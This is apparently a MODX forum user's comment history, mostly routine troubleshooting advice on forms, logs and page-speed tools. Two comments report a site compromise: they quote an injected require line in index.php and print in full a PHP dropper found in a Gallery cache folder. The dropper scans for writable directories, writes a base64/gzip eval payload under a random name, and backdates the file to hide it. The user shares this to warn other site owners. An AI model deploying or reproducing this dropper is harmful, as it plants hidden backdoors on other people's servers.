Антон Тарасов

Антон Тарасов

С нами с 25 июля 2014; Место в рейтинге пользователей: #67
Антон Тарасов
08 августа 2018, 11:11
0
Здравствуйте!
Что-нибудь в error.log?
Навскидку помню, что по похожей истории были проблемы с какими правами и от имени чего запускается сам коннектор.
Не уверен, что это ваш случай, но вдруг…
Антон Тарасов
06 августа 2018, 16:00
1
+2
Хорошей вам инструкции и чтобы все получилось! Хотелось бы добавить одно — посоветовать оптимизировать и сверяться с результатами измерений нескольких утилит, так сказать, на пересечении множеств. Page Speed Insights по большому счету не измерительный, а рекомендательный инструмент, вооружитесь результатами, например, еще Gtmetrix и tools.pingdom.com. Бывает так, что у PSI все уже хорошо, а у других — пока еще нет. Или же наоборот. Посему полагаю, что нужен кворум :)
Антон Тарасов
05 августа 2018, 17:37
+1
У организаторов, возможно, другой ответ, но только что покупал, в наличии, доступны.
Антон Тарасов
05 августа 2018, 12:32
+1
Отладка

При возникновении любых проблем, в первую очередь проверяйте, отправляется ли форма без AjaxForm. Помните, что AjaxForm — сниппет-обёртка, он не отправляет письма и не проводит проверку формы. Это делает ваш сниппет или FormIt.

Так же не забывайте заглядывать в консоль браузера на предмет ошибок javascript. Если сервер выдаёт ошибку 500 при отправке, проверьте параметр register_globals у вашего PHP — он должен быть отключен.
Антон Тарасов
05 августа 2018, 12:31
+1
Про плейсхолдеры вам читать про Formit, он же обрабатывает:
https://docs.modx.com/extras/revo/formit
Если &placeholderPrefix параметр дефолтный, то да, как вы написали выше. Даже с непереданными/неверно переданными плейсхолдерами письмо должно улетать.

&validate=`name:required,email:required `
тут пробел уберите. Валидация, хотя, и не включена.
Антон Тарасов
05 августа 2018, 10:57
+1
Здравствуйте!
Что в логе MODX, нет ли ошибок? Смотрели ли в конслоль браузера, все ли хорошо там? Далее — что возвращает сервер после отправки через ajax? Отправлялись ли письма ранее? Какой у вас хостер, нет ли пожелания от него использовать SMTP для отправки? Если есть сомнения в отправке как таковой попробуйте для начала компонент QuickEmail, отправит ли он тестовое письмо и какой результат?
Антон Тарасов
03 августа 2018, 12:08
+1
На очищенном и обновленном(в т.ч. Gallery) неделю назад MODX 2.6.5 (хостинг Timeweb) вновь появилась дрянь, но в совершенно новом виде — теперь это можно встретить и в файлах пакета Ace. Раньше такого не замечал, видимо, всерьез возьмемся за права доступа к файлам и папкам.
Итак,
в корневом index.php права доступа изменены на 444, в шапке:
<?php
//installbg
$rifilename='/home/**********/public_html/core/packages/ace-1.6.4-pl/modPlugin/0db4ec9586bd0cd4c61ffebc15170e1c/1/ace/documents/licenses.txt';
require("$rifilename");
//installend
Файл по указанному адресу с правами 404 — по ссылке, если любопытно содержимое.

Также замечено, что единственный пользователь не мог войти со своим паролем, пароль сами не меняли, был заблокирован(возможно по причине неоднократного ввода неверного пароля.) Сбросил его, но в базе уже заблокирован, пришлось через базу снять блок, тогда заработало.

Рядом на этом же хостинге лежит Evo, к нему доступ также перестал подходить, восстановление по сбросу пока не работает, ищем причину… Может ли это быть связано, не ясно, пока про Evo ничего не было слышно… ну или просто восстановление не работает и эти два явления не связаны.

P.S. утром пришло сообщение от клиента из Австралии, там как раз Evo was hacked. Детали узнаю чуть позже.
Антон Тарасов
31 июля 2018, 15:42
0
thead
Антон Тарасов
31 июля 2018, 15:18
0
а если попробовать с idx, он же тоже передается
[[+idx:is=`1`:then=`da`:else=`net`]]
Сработает?
Антон Тарасов
31 июля 2018, 15:05
0
Вот так я получаю номер страницы

[[+page]]
А как именно вы номер получаете, через сниппет, покажете, как?)
Антон Тарасов
31 июля 2018, 15:04
0
Напрашивается проверить порядковый номер при выводе в чанке: если первый — обернуть в
Антон Тарасов
30 июля 2018, 18:41
0
Вот здесь https://toster.ru/q/549647мы про исчезновение меню обсуждали, есть кое-какие мысли, но к сожалению, пока нет решения, может у вас получится((
Антон Тарасов
29 июля 2018, 12:16
0
Stanislavsky, любопытно, чем дело кончилось.

INSERT INTO `modx_clientconfig_setting` (`key`, `label`, `xtype`, `description`, `is_required`, `sortorder`, `value`, `default`, `group`, `options`, `process_options`, `source`) VALUES ('contact', 'Контактный ', 'modx-panel-tv-image', '', 1, 0, '', '', 1, '', 0, 0)
Array
(
    [0] => 42S22
    [1] => 1054
    [2] => Unknown column 'process_options' in 'field list'
)
У меня почему-то при первичной установке это поле не появилось в таблице, потому и ошибка сохранения была. Переустановка или последующие установки компонента с нуля были успешными. Чудеса :)
Антон Тарасов
28 июля 2018, 08:55
1
0
К сведению, кроме всех вышеобнозначенных вредоносных файлов встречаю уже третий раз лишний файл в /core/lexicon/el/
Антон Тарасов
26 июля 2018, 17:51
0
Вот еще красавчик в assets/components/gallery/cache/hello_http.bbe7d149209507bbcc2c36656f473cfb.php:

<?php
if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

function generateRandomString($length = 10)
{
    $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString . ".php";
}

$payload_file = "PD9waHANCg0KDQpldmFsKCJcblwkZGdyZXVzZGkgPSBpbnR2YWwoX19MSU5FX18pICogMzM3OyIpOw0KDQokYSA9ICI3VmRyVCtOR0ZQMWVxZjloaUNJY0t3SEZqN0NsSVFoMkJkMVY2Ykl0aFZaQzFKbzRrMlFTdnpSMjY3NHJhRi85NHpEazc4R0xPb3U1VzZVbzJNN1psenozM01uVHMzSnp6Z1RzeVNsc2E2NzRDSVhqaFJPdFE5NWZYMXpvL1crL0liaE9OZ2pNT1NrcUJxUmJuZmZwdmNQdW1idEllQmc0Q2ZkWkFRZE1PdWg0M09kSks1MlFmM0t5U2FOSWg2NzR2cXhXUkF6dkZnL1d4cUhBcEczU2xwTlowM2w1Yy92anNqTkNaTk53em5uRGxod0FiSDJVZXlDdlcxekYvclI0VTVoOXp3cHlDZkJuVENoTU9ESlUrb3REK0hocElpT2s4cG1COHU0Uk5MNjc0aVphenBERzdNQjJSc3dOUjZ5MVJlb2RsWklzTnZMYXZ2Njc0eHlVdHVKM0p1eVd1SXdNeHpESS9yMThkTjVCYUJtN3JDZmNuRkhKOGx0RlVOa1dESlFnU2taSHZqK3ZTbm4yK004T0pzOHZyaStqUitlMllZVjcrdlRqOWNlZTl2Yms1N2I2NVhaeGZYaHZIREw5N2s5Vy9uNzk0Mk1tK3FCc0FaRm95Y09CNjc0OG1NU3BjL2hHU05ZanRTWTlBY2tmR2JLc1FZWnFweEtySEY2NzR1ZXo1Y1h2MzZsRHNCeUlhTFJPYU9ZREdqd3AzV2g3bVlRUm0rWHdTVlJPcnlLVk5jeUtkL0w2ZXFsdFhtbHNKeGVaVnpMSTIrbXI0Mi9YdzZaMDY4R1BvOGp2SGRha1lzakR6V2tRSHhQRG9NQlUyWVl1Y2lYR011L0xWdkRIRnBOQXB4dzlyQ0dUN285a21USHlGQlBMWWgxL3YxQzdxV202VnlzNDFjM2hheXU2dWlCTHpkaHRtODNmNTA1SnJzUG1HQmROaUpxS0ErN0EvRktDTzdiZkk3SFhtZER1VlUzelpuZDNvbE85VGhLSS9zNjc0M2NxV21XOTVYeDRMS3hZZGNzVlNaVWJEdXVJZXI5Tm8xdU56alc0OC9CQWRscWx2VjZzUFIyaWpjWkx5bWNSRzlNWlcwWGpHVDJjejY3NGFUV2NnbWZEYUs0bkEwR3pOTjE4bGdRQ29hbnEvdXAwTFFqNjFjRlpJUGhyT2tJaGF2ZUpJV2hid0M4SmVXMGNYR0l3M2UrRjZ4R2xRcXF5aXRRbTYxYUtuZEFYZ1NUYU1sNjc0K2tPZUE0ZXIrR2FzZC9kTXpRRmtMblRVSjZtZ2xPUC95a0xnaFJVVWFvMjc5b25wdktKSVJDRmtJeTB1NWZRNWpLSzNlTmszK1p2dFJZVVMxdHpSQk9LRFRWbkgydlBnSk5Gc1BVMWRnVmpRYUdZNUNnS0IxQkZ0VUlXN3c0Njc0NVVHNjc0TjVtaWloVERGTmFqVXNRMnNsOG80ZnVLemFoU21qZTI5c0F0bnhrOGlCYUp3cmZoWWp4bUlpdXRtK0ZrNkcxU3U3aitlMGJuYysvL0FPR0JXZnEyT3FTSHNaNTgyaVhDWGcrREI3aGY0ZjRPOXk2NzQ2NzR1cmcvb1FRUS9EZExiTkJnZ3dQaUhRSkM4SUhPa0ZpQURkaGdBRzY3NEFZZ0JqQUdRQVpRQm1ISmFZVEFpWlVnTzY3NFRBaVo2NzRESjc5ZmFZSUROQlpvTE1oRktyV3pZTklBdGtGc2dza0ZrZ3N5QmtRY2lDa0FVaEcwcHQ0R3pnYk9rTGNEWndObkQycXhLaERTNjc0YlFqMEk5YjdhWlBtZjhLc2oxRlY5SWlwYTJpbVNJNUkxZHV1eTJDZDZwZWNmcG1oRjc0elNlSnMyYmFsczJzYmRrWjJCVktyc0FpVlJqZFF1NmQ2Zm4rdms2QWdidkw1TGs1ZnNZcFQwYTY3NFVWSjdUOG9jR0RCYXVTbHR3TUZuNmRvNXkwaVZHSlZkb1pWN3hwR3krSUF2NDlrSllpRm12cGZEUk1aWU02NzRZeXZlVmx6YTJHNisxSGJ6czJ3M1M3WWZmQUhUclplYWJyM1k5RHJoSjh2L3NjMnJLZmNZNkdVaUhaT3UyZ3czM1FQREoyVmRYRG81UHNicHBsTDcxSkxzRDlJZk02N1N0QzY3NGlQU0RsUFpOWnZiZjMvR2FTTVI0UVc5M0JaaitEMW1aa0RkYmYiOw0KJGEgPSBzdHJfcmVwbGFjZSgkZGdyZXVzZGksICJFIiwgJGEpOw0KZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7";
$payload_name = "";

srand(time());

/////////////////////////////////////////////////////////
function comparer($a, $b)
{
    return strlen($a)-strlen($b);
}

if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }
}

function GetPathDiff($base_path, $full_path)
{
    $pos = strpos($full_path, $base_path);

    if ($pos === FALSE)
    {
        return FALSE;
    }

    return substr($full_path, $pos + strlen($base_path));
}

function GetWritableDirs()
{
    $res = Array();

    $analysys_queue = Array();

    $analysys_queue[] = GetDocRoot();

    $self_path = $_SERVER['SCRIPT_FILENAME'];
    while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE)
    {
        $self_path = substr($self_path, 0, $slash);

        if ($self_path == GetDocRoot())
        {
            break;
        }

        if (strlen($self_path))
        {
            $analysys_queue[] = $self_path;
        }
    }

    foreach ($analysys_queue as $current_dir)
    {
        if (!in_array($current_dir, $res))
        {
            $res = array_merge($res, GetDirectoryList($current_dir));
        }
    }
    $res = array_merge($analysys_queue, $res);

    return CheckWritable(array_unique($res));
}

function CheckWritable($dir_list)
{
    $dir_list_writable = Array();

    foreach ($dir_list as $dir)
    {
        if (@is_writable($dir) == TRUE)
        {
            $dir_list_writable[] = $dir;
        }
    }

    return $dir_list_writable;
}

function GetDirectoryList($dir, $depth=1000)
{

    $result = array();
    $dir_count = 0;

    if ($depth == 0)
    {
        return $result;
    }

    $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\\/');
    $h = @opendir($dir);
    if ($h === FALSE)
    {
        return $result;
    }

    while (($f = readdir($h)) !== FALSE)
    {
        if ($f !== '.' and $f !== '..')
        {
            $current_dir = "$dir/$f";
            if (is_dir($current_dir))
            {
                $dir_count += 1;

                if ($dir_count >= $depth)
                {
                    break;
                }

                $result[] = $current_dir;
                $result = array_merge($result, GetDirectoryList($current_dir, $depth / 10));
            }
        }
    }

    closedir($h);

    return $result;
}

function GetDocRoot()
{
    $docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
    if ($docroot_end === FALSE)
    {
        return $_SERVER['DOCUMENT_ROOT'];
    }
    elseif ($docroot_end === 0)
    {
        return "/";
    }
    else
    {
        return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
    }
}

function GetPayload($payload)
{
    $current_payload = base64_decode($payload);

    return $current_payload;
}

function WritePayload($path, $payload)
{
    if (!file_exists($path))
    {
        if (file_put_contents($path, GetPayload($payload)) != FALSE)
        {
            return TRUE;
        }

    }

    return FALSE;
}

////////////////////////////////////////////////////////////////////////////////////////////

# get base local and remote path
$base_www_path = $host = @$_SERVER['HTTP_HOST'];
$base_local_path = GetDocRoot();

if (!($base_local_path_time = @stat($base_local_path."/.htaccess")))
{
    if (!($base_local_path_time = @stat($base_local_path."/index.php")))
    {
        if (!($base_local_path_time = @stat($base_local_path."/index.html")))
        {
            if (!($base_local_path_time = @stat($base_local_path."/..")))
            {
                if (!($base_local_path_time = @stat($base_local_path)))
                {
                    $base_local_path_time = Array();
                    $base_local_path_time['mtime'] = time();
                }
            }
        }
    }
}

$base_local_path_time = $base_local_path_time['mtime'];

$dir_list_writable = GetWritableDirs();

if (count($dir_list_writable) == 0)
{
    echo "URL#STATUS_UNWRITABLE";
    exit();
}

usort($dir_list_writable, 'comparer'); # sort directory by len

$list_writable = Array();
$list_writable[] = $dir_list_writable[0];
$list_writable[] = $dir_list_writable[rand(0,sizeof($dir_list_writable))];
$good = FALSE;
$good_counter = 0;
# try to upload
$max_tryes = strlen($payload_name) == 0 ? 5 : 1;
foreach ($list_writable as $current_dir)
{
    // if payload name is set, no more one try to upload on current dir
    //for ($i=0; $i < $max_tryes; $i++)
    {
        if (strlen($payload_name) == 0)
        {
            $temp_payload_name = generateRandomString();
        }
        else
        {
            $temp_payload_name = $payload_name;
        }

        $full_payload_name = $current_dir . DIRECTORY_SEPARATOR . $temp_payload_name;

        $uri_path = GetPathDiff($base_local_path, $full_payload_name);
        $full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/".$uri_path);

        if (WritePayload($full_payload_name, $payload_file))
        {
            touch($full_payload_name, $base_local_path_time); // set last modification time as root folder

            echo "URL#http://" . $full_uri . PHP_EOL;
            $good=TRUE;
            $good_counter++;
            if ($good_counter >1)
            {
                exit();
            }
        }
    }
}
if(!$good)
    echo "URL#STATUS_CANTUPLOAD";
exit();
Антон Тарасов
26 июля 2018, 09:55
0
А не является ли белая админка следствием неполного восстановления? Не проверяли файлы, остались ли артефакты? Достаточно старый бекап брали, или как восстанавливали? Консолью смотрели, есть ли ошибки в админке? Может что-нибудь в core/cache/logs/error.log?

Серверные требования можно посмотреть здесь: https://docs.modx.com/revolution/2.x/getting-started/server-requirements
Коли у вас белая админка, то наверное проще всего создать php файл и вызвать его, там узнаете версию PHP:

<?php
phpinfo();
?>
Антон Тарасов
25 июля 2018, 18:34
0
К вам не напишешь в ЛС, недоступно, лучше уж вы))
Антон Тарасов
25 июля 2018, 13:38
1
0
вы существующие решения видели, не подходят?
от Ильи Уткина
от Сергея Кудашева
Антон Тарасов
24 июля 2018, 17:36
+1
Евгений, а вы уже применили обновления? Это must конечно. 2.6.5 + обновление галереи, если есть + закрытие отдельных директорий авторизацией + меняйте пароли. Почитайте выше, все рецепты и отзывы уже дали. Я уже с десяток сайтов обновил по этому принципу, проникновений пока не видел.
Антон Тарасов
24 июля 2018, 12:39
0
Отличный инструмент по ссылке, спасибо, Алексей!